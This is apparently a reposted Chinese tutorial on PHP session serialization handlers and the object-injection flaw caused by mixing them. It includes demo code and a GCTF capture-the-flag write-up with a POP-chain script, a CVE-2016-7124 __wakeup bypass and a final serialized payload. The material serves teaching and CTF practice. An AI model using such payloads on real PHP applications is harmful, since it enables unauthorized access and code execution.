站長(zhǎng)資訊網(wǎng)
在php.ini中存在三項(xiàng)配置項(xiàng)：
session.save_path="" --設(shè)置session的存儲(chǔ)路徑 session.save_handler="" --設(shè)定用戶自定義存儲(chǔ)函數(shù)，如果想使用PHP內(nèi)置會(huì)話存儲(chǔ)機(jī)制之外的可以使用本函數(shù)(數(shù)據(jù)庫(kù)等方式) session.auto_start boolen --指定會(huì)話模塊是否在請(qǐng)求開(kāi)始時(shí)啟動(dòng)一個(gè)會(huì)話,默認(rèn)為0不啟動(dòng) session.serialize_handler string --定義用來(lái)序列化/反序列化的處理器名字。默認(rèn)使用php
以上的選項(xiàng)就是與PHP中的Session存儲(chǔ)和序列話存儲(chǔ)有關(guān)的選項(xiàng)。
在使用xampp組件安裝中，上述的配置項(xiàng)的設(shè)置如下：
session.save_path="D:xampptmp" 表明所有的session文件都是存儲(chǔ)在xampp/tmp下 session.save_handler=files 表明session是以文件的方式來(lái)進(jìn)行存儲(chǔ)的 session.auto_start=0 表明默認(rèn)不啟動(dòng)session session.serialize_handler=php 表明session的默認(rèn)序列話引擎使用的是php序列話引擎
在上述的配置中，session.serialize_handler是用來(lái)設(shè)置session的序列話引擎的，除了默認(rèn)的PHP引擎之外，還存在其他引擎，不同的引擎所對(duì)應(yīng)的session的存儲(chǔ)方式不相同。
php_binary:存儲(chǔ)方式是，鍵名的長(zhǎng)度對(duì)應(yīng)的ASCII字符+鍵名+經(jīng)過(guò)serialize()函數(shù)序列化處理的值
php:存儲(chǔ)方式是，鍵名+豎線+經(jīng)過(guò)serialize()函數(shù)序列處理的值
php_serialize(php>5.5.4):存儲(chǔ)方式是，經(jīng)過(guò)serialize()函數(shù)序列化處理的值
在PHP中默認(rèn)使用的是PHP引擎，如果要修改為其他的引擎，只需要添加代碼ini_set('session.serialize_handler', '需要設(shè)置的引擎');。示例代碼如下：
session 的目錄在 /var/lib/php/sessions 中
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
在 php_serialize 引擎下，session文件中存儲(chǔ)的數(shù)據(jù)為:
a:1:{s:4:"name";s:6:"spoock";}
php 引擎下文件內(nèi)容為:
name|s:6:"spoock";
php_binary 引擎下文件內(nèi)容為:
names:6:"spoock";
由于name的長(zhǎng)度是4，4在ASCII表中對(duì)應(yīng)的就是EOT。根據(jù)php_binary的存儲(chǔ)規(guī)則，最后就是names:6:"spoock";。(突然發(fā)現(xiàn)ASCII的值為4的字符無(wú)法在網(wǎng)頁(yè)上面顯示，這個(gè)大家自行去查ASCII表吧)
PHP Session中的序列化危害
PHP中的Session的實(shí)現(xiàn)是沒(méi)有的問(wèn)題，危害主要是由于程序員的Session使用不當(dāng)而引起的。
如果在PHP在反序列化存儲(chǔ)的$_SESSION數(shù)據(jù)時(shí)使用的引擎和序列化使用的引擎不一樣，會(huì)導(dǎo)致數(shù)據(jù)無(wú)法正確第反序列化。通過(guò)精心構(gòu)造的數(shù)據(jù)包，就可以繞過(guò)程序的驗(yàn)證或者是執(zhí)行一些系統(tǒng)的方法。例如:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
php文件如:
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
訪問(wèn)后得到session文件中的內(nèi)容如下：
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}
但此時(shí)模擬在其他頁(yè)面使用不同的php引擎來(lái)讀取時(shí)的內(nèi)容如下：(默認(rèn)使用php引擎讀取session文件)
<?php #ini_set('session.serialize_handler', 'php_serialize'); session_start(); #$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}'; class A { public $a = 'aa'; function __wakeup() { echo $this->a; } } // var_dump($_SESSION);
訪問(wèn)該頁(yè)面輸出xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }
這是因?yàn)楫?dāng)使用php引擎的時(shí)候，php引擎會(huì)以|作為作為key和value的分隔符，那么就會(huì)將 a:1:{s:4:"ryat";s:30:" 作為SESSION的key，將 O:1:"A":1:{s:1:"a";s:2:"xx";} 作為value，然后進(jìn)行反序列化，最后就會(huì)得到A這個(gè)類。
這種由于序列話化和反序列化所使用的不一樣的引擎就是造成PHP Session序列話漏洞的原因。漏洞在加載使用php引擎的頁(yè)面時(shí)session去讀session中的內(nèi)容并反序列化導(dǎo)致漏洞觸發(fā)，不需要任何輸出
GCTF上的一道session反序列化漏洞分析:
index.php中內(nèi)容為:
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(__FILE__); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代碼審計(jì)2</title> </head> <body>
在php中，經(jīng)常會(huì)使用序列化操作來(lái)存取數(shù)據(jù)，但是在序列化的過(guò)程中如果處理不當(dāng)會(huì)帶來(lái)一些安全隱患。
<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源碼</a> </body> </html>
query.php 中的內(nèi)容為:
/************************/ /* //query.php 部分代碼 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function __construct(){ $this->attr = null; $this->obj = null; } function __toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function __wakeup(){ $this->attr = null; $this->obj = null; } function __destruct(){ echo $this->attr; } } */
思路如下:
這題中我們構(gòu)造一個(gè)TOPC，在析構(gòu)的時(shí)候則會(huì)調(diào)用echo $this->attr;；
將attr賦值為TOPB對(duì)象，在echo TOPB的時(shí)候會(huì)自動(dòng)調(diào)用__tostring魔術(shù)方法
在__tostring中會(huì)調(diào)用unserialize($this->attr),因?yàn)楹竺嬗玫絫oken和ticket，所以顯然時(shí)TOPA對(duì)象。后面判斷需要$this->obj->token === $this->obj->ticket,所以在序列化的時(shí)候進(jìn)行指針引用使$a->ticket = &$a->token;，即可繞過(guò)判斷。
至于為什么(string)$this->obj會(huì)輸出flag，后臺(tái)寫的login可能是__tostring吧。
其中反序列化字符串中會(huì)有一個(gè)__wakeup()函數(shù)清空里面的參數(shù)，我問(wèn)可以通過(guò)一個(gè)cve來(lái)繞過(guò)：CVE-2016-7124。將Object中表示數(shù)量的字段改成比實(shí)際字段大的值即可繞過(guò)wakeup函數(shù)。
最后的代碼為:
$testa = new TOPA(); $testc = new TOPC(); $testb = new TOPB(); $testa->username = 0; $testa->password = 0; $testa->ticket = &$testa->token; $sa = serialize($testa); $testc->attr = $testb; $testb->attr = $sa; $test = serialize($testc); echo $test;
最終payload為:
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}
以上所述是小編給大家介紹的PHP的session反序列化漏洞，希望對(duì)大家有所幫助，如果大家有任何疑問(wèn)請(qǐng)給我留言，小編會(huì)及時(shí)回復(fù)大家的。
相關(guān)學(xué)習(xí)推薦：PHP編程從入門到精通
